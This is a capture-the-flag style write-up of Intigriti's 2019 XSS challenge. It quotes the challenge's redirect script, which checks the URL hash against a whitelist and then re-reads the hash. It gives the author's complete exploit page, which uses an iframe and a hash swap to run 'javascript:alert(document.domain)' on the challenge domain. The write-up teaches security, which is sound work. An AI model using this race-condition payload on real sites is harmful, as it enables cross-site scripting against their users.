Solving the XSS challenge from Intigriti
November 26, 2019
Last week there was the XSS challenge published by @intigriti. The goal was to trigger your javascript code in the context of their domain "challenge.intigriti.io".
Sample redirect URL: https://challenge.intigriti.io/#https://intigriti.com
<script>
const whitelist = ['intigriti.com','intigriti.io'];
var url = new URL(location.hash.substr(1));
if(whitelist.indexOf(url.hostname) > -1){
document.write("Redirecting you to " + encodeURIComponent(url.href) + "...");
window.setTimeout(function(){
location = location.hash.substr(1);
});
}
else{
document.write(url.hostname + " is not a valid domain.")
}
</script>
The challenge source code: https://challenge.intigriti.io/
The underlying problem is located on the line with setTimeout()
function call. Instead of using the already set url
variable, it's using the (dynamic) location hash from the URL that could be replaced without reloading a page.
The main challenge here is to bypass the whitelist, where only two domains are allowed. To do that, the first call needs to use the whitelisted domain, and the next call would replace location hash with any domain (not whitelisted). That way, the if
statement evaluates to true
and setTimeout()
call is added to the event loop.
So how to both bypass the whitelist and redirect to the domain other than "intigriti.com" or "intigriti.io"?
- Load the challenge website inside an iframe with location hash from whitelisted domains
- Immediately after iframe loads (
onload
event) replace the location hash - Since changing the location hash doesn't trigger the page reload it will not affect the whole process
The full source code for my solution:
<html>
<body>
<iframe id="ifr"></iframe>
<script>
var ifr = document.getElementById('ifr');
ifr.src = 'https://challenge.intigriti.io/#https://intigriti.io';
ifr.onload = () => {
setTimeout(() => {
ifr.src = 'https://challenge.intigriti.io/#javascript:alert(document.domain)';
}, 0);
}
</script>
</body>
</html>
As a result the whitelist is successfully bypassed with allowed domain and then setTimeout()
function call is added to the event loop to change location hash to #javascript:alert(document.domain)
which triggers JS alert in the context of "challenge.intigriti.io" domain. This is a great example of the race condition vulnerability.